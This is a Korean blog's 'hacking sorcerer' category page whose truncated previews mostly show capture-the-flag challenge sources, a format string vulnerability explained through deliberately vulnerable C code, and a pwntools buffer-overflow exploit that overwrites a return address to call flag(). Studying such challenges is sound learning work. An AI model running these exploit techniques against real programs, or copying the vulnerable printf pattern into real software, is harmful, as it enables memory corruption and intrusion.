본문 바로가기

hacking sorcerer

(372)
해킹 해킹 바운스~ 바운스~ #include #include #include #include #include #include #include #include #include ​ ​ #define WAIT 60 ​ ​ static const char* flag = "[REDACTED]"; ​ static char data[10][100]; static int input_lengths[10]; static int inputs = 0; ​ ​ ​ int tgetinput(char *input, unsigned int l) { fd_set input_set; struct timeval timeout; int ready_for_reading = 0; int read_bytes = 0; if( l 10) { inputs = 0; } ​ str..
주식 주식 바운스~ 바운스~ 주식 등락 그래프 분석에 관한 파이썬 실습입니당(걍 그래프 ~ 분석용) 파이썬을 그대로 복붙하면 계속 깨져서 제 캐글 노트북에서 스크린샷으로 캡쳐해서 붙여용
rot13 # ROT13 reference import codecs def rot13(secret): """ROT13 encode/decode NOTE: encode and decode are the same operation in the ROT cipher family. """ return codecs.encode(secret, 'rot_13') ​ def choose_longest(): """Echo the longest of the two strings given by the user to the program """ user_value_1 = input("What's your first string? ") user_value_2 = input("What's your second string? ") longe..
퓨어 알티지 DHA 오메가 3 #============================================================================# #============================ARCANE CALCULATOR===============================# #============================================================================# ​ import hashlib from cryptography.fernet import Fernet import base64 ​ ​ # GLOBALS --v arcane_loop_trial = True jump_into_full = False full_version_code = "" ​ ..
쥐를 잡아 미키마우스 #include #include #include #include #include #include #include ​ #define FLAG_BUFFER 200 #define LINE_BUFFER_SIZE 20 ​ /* 섹션 1: 라이브러리와 매크로 정의 위의 코드에서는 필요한 헤더 파일들을 포함시키고 있습니다. 헤더 파일들은 프로그램에서 필요한 다양한 기능들, 예를 들어 표준 입출력, 문자열 처리, 메모리 관리 등을 제공합니다. 또한, 매크로를 정의하여 FLAG_BUFFER와 LINE_BUFFER_SIZE에 대한 값을 설정하고 있습니다. 이들은 후에 프로그램에서 버퍼의 크기를 결정하는 데 사용됩니다. */ ​ typedef struct { uintptr_t (*whatToDo)(); char *usern..
파벳이 울트라고기 구워 먹을 때 Format String 취약점이 있는 C 코드 예시: c Copy code #include void vulnerable_function(char* str) { printf(str); } int main(int argc, char** argv) { vulnerable_function(argv[1]); return 0; } 이 코드는 사용자가 입력한 문자열(argv[1])을 printf 함수에 직접 전달하고 있습니다. 이것은 Format String 취약점을 만들어냅니다. 왜냐하면 printf 함수는 첫 번째 인자로 포맷 문자열을 기대하는데, 이 예제에서는 사용자 입력을 직접 포맷 문자열로 사용하고 있기 때문입니다. 따라서 사용자는 %x, %n 등의 포맷 지정자를 이용하여 프로그램의 메모리를 읽거나 쓸 수..
GPT4가 분석한 memcpy // compiled with : gcc -o memcpy memcpy.c -m32 -lm #include #include #include #include #include #include #include unsigned long long rdtsc(){ asm("rdtsc"); } char* slow_memcpy(char* dest, const char* src, size_t len){ int i; for (i=0; i= 64){ i = len / 64; len &= (64-1); while(i-- > 0){ __asm__ __volatile__ ( "movdqa (%0), %%xmm0\n" "movdqa 16(%0), %%xmm1\n" "movdqa 32(%0), %%xmm2\n" "movdqa 48(..
gdb-peda와 흠냐 0xdeadbeef = -0x21524111, 0xc0ded00d = -0x3f212ff3으로 변환 가능 그러므로 from pwn import * context.update(arch="i386", os="linux") elf = ELF("./vuln") # offset to reach right before return address's location offset = b"A" * 188 # craft exploit: offset + flag() + padding + parameter 1 + parameter 2 exploit = offset + p32(elf.symbols['flag'], endian="little") + p32(0x90909090) + p32(0xdeadbeef, endian="lit..